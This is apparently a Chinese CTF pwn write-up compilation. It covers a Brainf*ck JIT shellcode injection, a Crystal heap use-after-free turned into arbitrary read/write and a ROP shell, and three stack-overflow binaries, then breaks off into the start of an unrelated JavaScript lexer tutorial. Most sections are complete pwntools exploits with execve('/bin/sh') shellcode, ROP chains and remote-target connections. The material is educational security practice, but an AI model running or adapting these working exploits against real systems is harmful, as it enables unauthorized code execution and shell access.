0x7f69c1465054 ✔ je 7f69c1465078h <0x7f69c1465078>

0x7f69c1465078 pop rbp

入侵思路

先关闭地址随机化,二进制代码起始地址为 0x7ffff7a91000,写入数据的基地址为 0x7ffff7e2c000

1
2
3
4
5
6
# int3
# push r8
# push rbp
# xor ebx, ebx
# mov rbp, addr_mem
emit_enter = b'\x72\x01\xcc' + b'\x41\x50\x55\x45\x31\xc0\x48\xbd' + p64(addr_mem)
  • 调试前先在 emit_enter 之前加一个 int3,每次调试时都会在这里进行断点

指令错位可以在预期指令前添加一个 \xff

1
code = '[+' + '>' * 0x5558
1
2
3
4
5
6
7
8
  0x7ffff7a91013    mov    al, byte ptr [rbp + r8]
0x7ffff7a91018 test al, al
0x7ffff7a9101a je 7ffff7a9101fh <0x7ffff7a9101f>

0x7ffff7a9101f inc dword ptr [rdx - 2]
0x7ffff7a91022 add eax, 0c0814900h
0x7ffff7a91028 pop rax
0x7ffff7a91029 push rbp
1
2
3
pwndbg> x/20xg 0x7ffff7a9101f
0x7ffff7a9101f: 0x8149000544fe42ff 0xf8814900005558c0
0x7ffff7a9102f: 0x5dcc017200008000 0x0000000000c35841
  • 这一字节的错位就可以让我们执行两字节的指令 pop rax; push rbp;
  • 核心目的就是为了使栈顶指针指向 rbp,而 pop rax 是为了防止后续出现段错误
1
2
RBP  0x7ffff7e2c000 ◂— 0
RSP 0x7fffffffd418 —▸ 0x7fffffffd430 ◂— 0x6
  • 由于 rbp 正好指向我们的数据区,如果在这里写入 shellcode 就可以在 ret 指令跳转时执行 shellcode(至于 ret 指令,还是可以用同样的方法写入)

于是入侵的步骤为:

  • 利用指令错位构造 pop rax; push rbp;
  • 在 0x7ffff7e2c000 中写入 shellcode
  • 利用指令错位构造 ret;

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './app.py'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase()\n")
pause()

def cmd(op):
sla(">",str(op))

def cshellcode(code):
re = ""
for i in code:
re += "+"*i
re += ">"
return re

#debug()

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = "[+" + ">"*0x5558
payload += cshellcode(shellcode)
payload += "[+" + ">"*0xc3

sla("Brainf*ck code:",payload)

p.interactive()

wise

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.

先安装必要的库:(在 Dockerfile 中看的)

1
sudo apt-get -y install libevent-dev 
1
2
3
4
5
6
spy: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=90e12ec5d3d303671f6f0581af22bad63082f0e1, for GNU/Linux 3.2.0, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

在 IDA 中发现如下字符串:

1
2
.rodata:00000000001046FC 20 74 6F 20 28 55 49 6E 74 33+aToUint32Uint64 db ' to (UInt32 | UInt64) failed, at /home/ptr/app/crystal/share/crystal/src/exception/call_stack/d'
.rodata:00000000001046FC 32 20 7C 20 55 49 6E 74 36 34+db 'warf.cr:56:40:56',0

crystal-lang

Crystal 是一种基于 LLVM 的可编译静态类型编程语言,用于编写高性能、可扩展的程序

在 ubuntu 上的安装教程如下:Install On Ubuntu - The Crystal Programming Language (crystal-lang.org)

测试样例:

1
2
3
4
5
6
7
8
9
# server.cr
require "socket"

server = TCPServer.new(8080)
loop do
client = server.accept
client.puts "Hello, world!"
client.close
end

进行编译:

1
crystal build main.cr
  • 对编译好的文件进行逆向分析,发现与题目文件高度相似

漏洞分析

程序提供了如下功能:

1
2
3
4
5
6
1. Add new citizen /* malloc chunk */
2. Update personal information /* edit chunk */
3. Print list of citizen /* show chunk */
4. Mark as spy /* store chunk */
5. Give memorable ID to spy /* edit store chunk */
6. Print information of spy /* show store chunk */
  • 功能4可以将目标 chunk 的存放入栈中

漏洞点就是:放入栈中保存的数据可能因为某种原因被释放,导致 UAF

分析程序

本题目的堆风水比较复杂(crystal 应该是使用 GC 来管理堆内存)

1
2
3
id = add(b"a"*4)
for i in range(3):
add(chr(i+0x30)*4)
  • crystal 的堆是向上填充的(使用 mmap 创建堆空间)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1c:00e00x7ffff7cd1f20 ◂— 0x400000001 
1d:00e80x7ffff7cd1f28 ◂— 0x3232323200000000 /* 2222 */
1e:00f0│ 0x7ffff7cd1f30 ◂— 0x0
1f:00f8│ 0x7ffff7cd1f38 ◂— 0x0
20:01000x7ffff7cd1f40 ◂— 0x400000001
21:01080x7ffff7cd1f48 ◂— 0x3131313100000000 /* 1111 */
22:01100x7ffff7cd1f50 ◂— 0x0
23:01180x7ffff7cd1f58 ◂— 0x0
24:01200x7ffff7cd1f60 ◂— 0x400000001
25:01280x7ffff7cd1f68 ◂— 0x3030303000000000 /* 0000 */
26:01300x7ffff7cd1f70 ◂— 0x0
27:01380x7ffff7cd1f78 ◂— 0x0
28:01400x7ffff7cd1f80 —▸ 0x7ffff7cd1f00 —▸ 0x7ffff7cd1ee0 —▸ 0x7ffff7cd1ec0 —▸ 0x7ffff7cd1ea0 ◂— ... /* free chunk */
29:01480x7ffff7cd1f88 ◂— 0x429aa2b3a5215326
2a:01500x7ffff7cd1f90 ◂— 0x4cd694ac191266b9
2b:01580x7ffff7cd1f98 ◂— 0x0
2c:01600x7ffff7cd1fa0 ◂— 0x400000001
2d:01680x7ffff7cd1fa8 ◂— 0x6161616100000000 /* aaaa */
2e:01700x7ffff7cd1fb0 ◂— 0x0
2f:01780x7ffff7cd1fb8 ◂— 0x0

程序中关键的结构如下:

1
2
3
4
pwndbg> telescope 0x7ffff7ce4e00
00:00000x7ffff7ce4e00 ◂— 0x4a9685c83a3acd9
01:00080x7ffff7ce4e08 ◂— 0x388dcda5fbac62a3
02:00100x7ffff7ce4e10 ◂— 0xd3ed9d1013491f7a
  • 用于管理 ID
1
2
3
4
pwndbg> telescope 0x7ffff7ce5e00
00:00000x7ffff7ce5e00 —▸ 0x7ffff7cd1fa0 ◂— 0x400000001
01:00080x7ffff7ce5e08 —▸ 0x7ffff7cd1f60 ◂— 0x400000001
02:00100x7ffff7ce5e10 —▸ 0x7ffff7cd1f40 ◂— 0x400000001
  • 用于管理 Name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x7ffff7ccde90-0x50
00:00000x7ffff7ccde40 ◂— 0x8b
01:00080x7ffff7ccde48 ◂— 0x400000001
02:00100x7ffff7ccde50 —▸ 0x7ffff7cd3ed0 —▸ 0x7ffff7cd4dc0 ◂— 0x7a /* 'z' */
03:00180x7ffff7ccde58 ◂— 0x0
04:00200x7ffff7ccde60 ◂— 0x10000008b
05:00280x7ffff7ccde68 ◂— 0x400000001
06:00300x7ffff7ccde70 —▸ 0x7ffff7cd3f00 ◂— 0x0
07:00380x7ffff7ccde78 ◂— 0x0
08:00400x7ffff7ccde80 ◂— 0x1a00000004
09:00480x7ffff7ccde88 ◂— 0x30 /* '0' */
0a:00500x7ffff7ccde90 —▸ 0x7ffff7ce5e00 —▸ 0x7ffff7cd1fa0 ◂— 0x400000001 /* addr_nameList */
0b:00580x7ffff7ccde98 ◂— 0x0
0c:00600x7ffff7ccdea0 ◂— 0x1a0000001a
0d:00680x7ffff7ccdea8 ◂— 0x30 /* '0' */
0e:00700x7ffff7ccdeb0 —▸ 0x7ffff7ce4e00 ◂— 0x4a9685c83a3acd9 /* addr_idList */
0f:00780x7ffff7ccdeb8 ◂— 0x0
10:00800x7ffff7ccdec0 ◂— 0x8b
  • 用于管理整个程序

入侵思路

程序会调用类似于 realloc 的程序来申请存储 ID 的 chunk,利用这一点可以使该 chunk 被释放

但存储在栈中的 chunk 并不会更新,仍然使用原来的 chunk,这就造成了 UAF

泄露 heap_base 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
id = add(b"a"*4)
for i in range(23):
add(chr(i+0x30)*4)
spy(id)
add(b"yhw")
show_spy()

ru("ID: ")
leak_addr = eval(ru("\n"))
heap_base = leak_addr - 0x20dd0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

程序提供了修改 store chunk 的功能,利用这一点可以修改 free chunk list,从而申请到几乎任意地址的 chunk

接下来就可以尝试覆盖程序用于管理 ID 和 Name 的结构体,进而引发逻辑错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x7ffff7ccde90-0x50
00:00000x7ffff7ccde40 ◂— 0x8b
01:00080x7ffff7ccde48 ◂— 0x400000001
02:00100x7ffff7ccde50 —▸ 0x7ffff7cd3ed0 —▸ 0x7ffff7cd4dc0 ◂— 0x7a /* 'z' */
03:00180x7ffff7ccde58 ◂— 0x0
04:00200x7ffff7ccde60 ◂— 0x10000008b
05:00280x7ffff7ccde68 ◂— 0x400000001 /* spy_key */
06:00300x7ffff7ccde70 —▸ 0x7ffff7cd3f00 ◂— 0x0
07:00380x7ffff7ccde78 ◂— 0x0
08:00400x7ffff7ccde80 ◂— 0x1a00000004
09:00480x7ffff7ccde88 ◂— 0x30 /* '0' */
0a:00500x7ffff7ccde90 —▸ 0x7ffff7ce5e00 —▸ 0x7ffff7cd1fa0 ◂— 0x400000001
0b:00580x7ffff7ccde98 ◂— 0x0
0c:00600x7ffff7ccdea0 ◂— 0x1a0000001a
0d:00680x7ffff7ccdea8 ◂— 0x30 /* '0' */
0e:00700x7ffff7ccdeb0 —▸ 0x7ffff7ce4e00 ◂— 0x95c818ca05833371 /* addr_idList */
  • 核心点就是覆盖 addr_idList,将 0x7ffff7ce4e00 覆盖为 0x7ffff7ccdeb0 使其指向自身(后面会分析为什么)
  • 其次就是覆盖 spy_key0x400000000,不然会导致 edit store chunk 段错误(目前不知道原因)

当我们完成以上两点覆盖后,就可以执行如下代码:

1
2
3
spy(0x7ffff7ccdeb0) # spy(addr_idList)
edit_spy(address)
show()
  • 由于 0x7ffff7ccdeb0 指向自身,执行 spy(0x7ffff7ccdeb0) 后,此时程序会同时将 0x7ffff7ccdeb0 给当成 idListid,并将 addr_id(0x7ffff7ccdeb0) 存储到栈上
  • 执行 edit_spy(address) 时会往 0x7ffff7ccdeb0 中写入 address
  • 执行 show 时就会将 *(address) 打印出来

构建 WAA 和 RAA 的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
spy(addr_idList)

def RAA(address):
edit_spy(address)
show()
ru("ID: ")
leak_addr = eval(ru("\n"))
return leak_addr

def WAA(address, values):
edit_spy(address - 0x10)
for value in values:
id = add(b"A")
spy(id)
edit_spy(value)

最后利用 WAA 劫持栈地址,写一个 system("/bin/sh") 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './spy1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase(0x847C0)\n")
pause()

def cmd(op):
sla(">",str(op))

def add(name):
cmd(1)
sla("person:",name)
ru("ID: ")
id = eval(ru("\n"))
return id

def edit(id,name):
cmd(2)
sla("ID: ",str(id))
sla("name: ",name)

def show():
cmd(3)

def spy(id):
cmd(4)
sla("suspect:",str(id))

def edit_spy(id):
cmd(5)
sla("ID:",str(id))

def show_spy():
cmd(6)

id = add(b"a"*4)
for i in range(23):
add(chr(i+0x30)*4)

spy(id)
add(b"yhw")
show_spy()

ru("ID: ")
leak_addr = eval(ru("\n"))
heap_base = leak_addr - 0x20dd0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

addr_nameList = heap_base + 0xbe90
addr_idList = heap_base + 0xbe90+0x20
addr_nameList_buf = heap_base + 0x23e00
addr_idList_buf = heap_base + 0x22e00
success("addr_nameList >> "+hex(addr_nameList))
success("addr_idList >> "+hex(addr_idList))
success("addr_nameList_buf >> "+hex(addr_nameList_buf))
success("addr_idList_buf >> "+hex(addr_idList_buf))

edit_spy(addr_nameList - 0x60)

payload = b"A"*0x4
payload += p64(0x8b)
payload += p64(0x400000001)
payload += p64(heap_base + 0x11ed0)
payload += p64(0)
payload += p64(0x10000008b)
payload += p64(0x400000000)
payload += p64(heap_base + 0x11f00)
# name_list
payload += p64(0)
payload += p64(0x1a00000004) # type / size
payload += p64(0x30) # capacity
payload += p64(addr_nameList_buf) # buffer
payload += p64(0)
# id_list
payload += p64(0x1a0000001a) # type / size
payload += p64(0x30) # capacity
payload += p64(addr_idList) # buffer --> pointerof(idList.@buffer)
payload += p64(0)
# save heap state
payload += p64(0x8b)+p64(0)*3
payload += p64(0x30000008b)+p64(0x400000000)
payload += p64(heap_base + 0x11f30)

payload += b'\x00' * (0xc0 - len(payload))

add(payload)
add(payload)
spy(addr_idList)

def RAA(address):
edit_spy(address)
show()
ru("ID: ")
leak_addr = eval(ru("\n"))
return leak_addr

def WAA(address, values):
edit_spy(address-0xc8-0x10)
for value in values:
id = add(b"A")
spy(id)
edit_spy(value)

true_heap_addr = heap_base + 0x13f90
true_heap_base = RAA(true_heap_addr) - 0x3580
success("true_heap_base >> "+hex(true_heap_base))

ru("Name: AAAA")
ru("Name: AAAA")
ru("Name: AAAA")

libc_addr = true_heap_base + 0x35c0
leak_addr = RAA(libc_addr)
libc_base = leak_addr - 0x424310
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

ru("Name: AAAA")
ru("Name: AAAA")
ru("Name: AAAA")

stack_libc = libc_base + libc.sym['environ']
stack_addr = RAA(stack_libc) - 0x120
success("stack_addr >> "+hex(stack_addr))

ru("Name: AAAA")
ru("Name: AAAA")
ru("Name: AAAA")

WAA(stack_addr, [
(libc_base + 0x0000000000029139),
(libc_base + 0x000000000002a3e5),
(libc_base + 0x1d8698),
(libc_base + libc.sym["system"]),
])

cmd("0")

#debug()

p.interactive()

exploit1

1
2
3
4
5
6
exploit1.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5a320c8445c424a78f554fa7c6ab33175e11e30e, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

栈溢出:

1
2
printf("Enter new username: ");
__isoc99_scanf("%s", name);

有后门:

1
2
3
4
5
else if ( key == 1337 )
{
puts("Starting debug shell");
execl("/bin/bash", "/bin/bash", 0LL);
}

入侵思路

利用栈溢出简单覆盖 key 值为 1337 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './exploit1.bin'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20232')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x14A7)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
payload = "a"*0x18+p32(0)+p32(1337)
sla("Choice: ","1")
sla("Enter new username: ",payload)
sla("Choice: ","3")

p.interactive()

exploit2

1
2
3
4
5
6
7
8
exploit2.bin: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2225439fe6f084b9baea4c6a07e31d32109da59d, for GNU/Linux 3.2.0, not stripped
➜ pwn checksec exploit2.bin
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/exploit2.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,Partial RELRO,Canary,NX

漏洞分析

栈溢出:

1
2
puts("\nWaiting for heart beat request...");
_isoc99_scanf((unsigned int)" %d:%s", (unsigned int)&num, (unsigned int)buf, v3, v4, v5, v7);

入侵思路

先利用 write 泄露 canary,然后构造 sys_read 写入 /bin/sh,接着构造 sys_execve

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './exploit2.bin'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20233')

def debug():
gdb.attach(p,"b *0x401EF9\n")
#gdb.attach(p,"b *$rebase(0x14A7)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
payload = "1400:"+"a"*1024+"b"*8
sla("request...",payload)
ru("bbbbbbbb")
canary = u64(p.recv(8))
success("canary >> "+hex(canary))

bss_addr = 0x4E1240+0x200

pop_rax_ret = 0x0000000000451fd7
pop_rdi_ret = 0x00000000004018e2
pop_rsi_ret = 0x000000000040f30e
pop_rdx_ret = 0x00000000004017ef
syscall_ret = 0x000000000041f5c4

rop_read = ""
rop_read += p64(pop_rax_ret)+p64(0)
rop_read += p64(pop_rdi_ret)+p64(0)
rop_read += p64(pop_rsi_ret)+p64(bss_addr)
rop_read += p64(pop_rdx_ret)+p64(0x60)
rop_read += p64(syscall_ret)

rop_execve = ""
rop_execve += p64(pop_rax_ret)+p64(59)
rop_execve += p64(pop_rdi_ret)+p64(bss_addr)
rop_execve += p64(pop_rsi_ret)+p64(0)
rop_execve += p64(pop_rdx_ret)+p64(0)
rop_execve += p64(syscall_ret)

payload = "0:"+"a"*1032+p64(canary)+"b"*0x8+rop_read+rop_execve
sla("request...",payload)
sleep(0.2)
p.send("/bin/sh\x00")

p.interactive()

exploit3

1
2
3
4
5
6
7
exploit3.bin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ee04914473e2edcc2f0cd1fcf5b8fab1590acaf2, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Full RELRO,PIE

漏洞分析

栈溢出:

1
2
3
printf("Hello! What's your name?: ");
get_string(buf);
return printf("Nice to meet you %s!\n", buf);

有后门:

1
2
3
4
5
int win()
{
alarm(0);
return execl("/bin/bash", "/bin/bash", 0LL);
}

入侵思路

先泄露程序基地址,然后覆盖返回地址末尾2字节为 main(1/16 的爆破概率)

再次执行时覆盖返回地址为后门函数即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './exploit3.bin'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
"""
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20234')
"""

def debug():
#gdb.attach(p,"b *0x401EF9\n")
gdb.attach(p,"b *$rebase(0x13A0)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
def pwn():
payload = "a"*0x18+p16(0x43ad)#p16(0x53ad)
sla("name?:",payload)

ru("a"*0x18)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
pro_base = leak_addr - 0x13ad
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

ret = pro_base + 0x000000000000101a
main_addr = pro_base + 0x13ad
magic_addr = pro_base + 0x1369
back_addr = pro_base + 0x13CB

shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = "a"*0x18+p64(back_addr)
sla("name?:",payload)
p.interactive()

while(True):
try:
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20234')
pwn()
sleep(0.3)
except Exception as e:
continue

前言

在学习了一款 JavaScript 解释器的项目过后,想自己写一个 JavaScript 解释器:zuluoaaa/makeJs: A sub Javascript interpreter for interpreting itself (github.com)

在数据结构和分析逻辑上面很大程度参考了以上项目,不过我在原项目的基础上进行了魔改并添加了新的功能

PS:本项目只是简单的模拟了 JavaScript 解释器的执行过程,并没有涉及 JavaScript 的灵魂(一切皆对象)

词法分析

词法分析核心实现

词法分析其实就是一个线性扫描加上正则匹配的过程,核心函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
function scan(){
skipBlank();
let {
content,
index,
token,
tokenBack
} = gData;
token.value = null;

if(tokenBack !== null){
let token = tokenBack;
gData.tokenBack = null;
gData.token.type = token.type;
gData.token.value = token.value;
return token;
}
if(index >= content.length){
token.type = tokenTypes.T_EOF;
return;
}
let value = nextChar();
let next;

switch (value) {
case "+":
token.type = tokenTypes.T_ADD;
break;
case "-":
token.type = tokenTypes.T_SUB;
break;
case "*":
next = nextChar();
if(next === "/"){
token.type = tokenTypes.T_RCMT;
}else{
putBack(next);
token.type = tokenTypes.T_MUL;
}

break;
case "/":
next = nextChar();
if(next === "*"){
token.type = tokenTypes.T_LCMT;
}
else if(next === "/"){
token.type = tokenTypes.T_LINE_CMT;
}
else{
putBack(next);
token.type = tokenTypes.T_DIV;
}
break;

case ",":
token.type = tokenTypes.T_COMMA;
break;
case "=":
next = nextChar();
if(next === "="){
token.type = tokenTypes.T_EQ;
next = nextChar();
if(next !== "="){
putBack(next);
}
}else{
token.type = tokenTypes.T_ASSIGN;
putBack(next);
}
break;
case ";":
token.type = tokenTypes.T_SEMI;
break;
case "!":
next = nextChar();
if(next === "="){
token.type = tokenTypes.T_NEQ;
}
putBack(next);
token.type = tokenTypes.T_NOT;
break;
case ">":
next = nextChar();
if(next === "="){
token.type = tokenTypes.T_GE;
}else {
token.type = tokenTypes.T_GT;
putBack(next);
}
break;
case "<":
next = nextChar();
if(next === "="){
token.type = tokenTypes.T_LE;
}else {
token.type = tokenTypes.T_LT;
putBack(next);
}
break;
case "&":
next = nextChar();
if(next === "&"){
token.type = tokenTypes.T_AND;
}else {
putBack(next);
}
break;
case "|":
next = nextChar();
if(next === "|"){
token.type = tokenTypes.T_OR;
}else {
putBack(next);
}
break;
case "(":
token.type = tokenTypes.T_LPT;
break;
case ")":
token.type = tokenTypes.T_RPT;
break;
case "{":
token.type = tokenTypes.T_LBR;
break;
case "}":
token.type = tokenTypes.T_RBR;
break;
case "[":
token.type = tokenTypes.T_LMBR;
break;
case "]":
token.type = tokenTypes.T_RMBR;
break;
case "?":
token.type = tokenTypes.T_QST;
break;
case ":":
token.type = tokenTypes.T_COL;
break;
case "\"":
token.type = tokenTypes.T_STRING;
token.value = scanStr("\"");
break;
case "\'":
token.type = tokenTypes.T_STRING;
token.value = scanStr("\'");
break;

default:
if(regNumber(value)){
token.value = scanInt(value);
token.type = tokenTypes.T_INT;
break;
}
else if(regVar(value)){
value = scanIdent(value);
token.type = scanKeyword(value);
token.value = value;
break;
}
printErr(`Unrecognised char : (${value})`)
}
if(token.type === tokenTypes.T_LINE_CMT){
skipOneLine();
scan();
}
return true;
}
  • 一些简单的符号可以直接匹配,而字符串和数字则需要借助正则表达式

次步骤会将程序简单转化为 token 流,并记录于 lexList 列表中:

1
